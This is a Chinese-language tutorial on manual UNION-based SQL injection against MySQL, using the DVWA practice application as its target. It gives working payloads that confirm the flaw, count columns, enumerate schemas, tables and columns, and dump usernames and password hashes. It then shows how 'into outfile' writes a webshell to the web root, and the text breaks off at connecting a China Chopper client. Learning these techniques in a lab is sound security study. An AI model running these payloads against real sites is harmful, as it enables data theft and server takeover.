SQL注入从注入的手法或者工具上分类的话可以分为:
· 手工注入(手工来构造调试输入payload)
· 工具注入(使用工具,如sqlmap)
下面主要讲解的是如何通过手工来显式注入MySQL数据库。说到显式注入,SQL又可以分为:
· 显式注入
· 盲注入
这两种分类的主要区别在于能否从页面上直接获取数据库信息。
注入的第一步是得判断该处是否是一个注入点。或者说判断此处是否有SQL注入漏洞。最简单的判断方法就是在正常的参数后加单引号 '。 id=de'
如果页面显示了SQL的错误信息,进一步测试: id=de' or 1=1--+
//--+表示mysql的注释,通常是-- ,(--后面有个空格),为了方便使用--+
// (+号利用mysql特性,将+识别为空格)
//也可以使用#,/* */
使用#进行注释,!(dvwa必须将#转换成%23才可以生效)
再测试: id=de' and 1=2--+ ,基本确定注入存在
输入 order by 5
order by 4
order by 3 均会报错
可以看到order by 2的时候页面显示正常,则说明查询语句只有2个字段。
确定了查询数据的位数,然后开始确定网页的回显位。回显位就是确定查询出来的数据是在网页上面的哪个位置显示出来。使用Union联合查询来确定回显位。
输入 id=de' union select 1,2
下面就开始获取数据库信息了,常用的几个获取数据的函数分别是:
user() 获取当前用户用户
database() 获取当前数据库
version() 获取数据库版本
@@version_compile_os 获取操作系统版本
注入下列SQL语句可以查询出数据库当前用户,和当前数据库名。
注入下列SQL语句,可以查询出数据库版本和当前操作系统版本。
可以看到注入上面两条语句之后,当前用户、数据库名、数据库版本、操作系统等信息都已经得到了。
MySQL5新增了一个information_schema结构,这个information_schema数据库中存储着MySQL管理的所有数据库的信息,如数据库名,表名,列名以及权限等等信息。所以可以利用information_schema来快速获取数据库中的表结构信息。常用的information_schema中的表有:
schemata (schema_name字段记录所有数据库信息)
tables (table_name记录表名,table_schema字段记录表所属的数据库信息)
columns (column_name记录列名,table_name记录列所属的表名,schema_name记录列所属的数据库名)
所以可以使用schemata表来获取所有数据库名:
输入:de' union select 1,schema_name from information_schema.schemata--+
这条SQL语句是能够将所有数据库名查询出来,如果页面显示足够多的话是可以直接全部获取的。但是有些情况下,页面可能只会有一条回显记录,那么可以使用limit子句来分批获取所有数据库名。或者直接使用group_concat来一次性获取数据库信息。
输入:
id=de' union select 1,group_concat(schema_name) from
information_schema.schemata --+
使用group_concat就能很方便的在一条记录中查询出来所有数据库信息。
获取到了数据库信息之后,找到目标数据库,然后开始获取表名信息。可以读取tables表中的table_name来获取。
输入:id=de' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='dvwa'
--+
获取到了表名之后,下面来获取列名。同样通过information_schema的columns表获取。
输入 : id=de' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'
--+
下面就开始获取表中的数据了,选择刚才获取的表中的user_id,user,password三列的数据。
输入:id=de' union select 1,group_concat(user_id,user,password) from users --+
以上,就成功从数据库中获取了管理员账户信息。
上面获取管理员账号信息之后,就可以登录网页后台,从后台寻找上传点或者其他漏洞来往服务器上写入webshell。在知道服务器的物理地址的情况下,通过SQL语句来写入webshell通常是一种更快捷方便的方式。
输入:id=de' union select 1,'' into outfile 'C:/xampp/htdocs/dvwa/testtest.php'
--+
菜刀连接: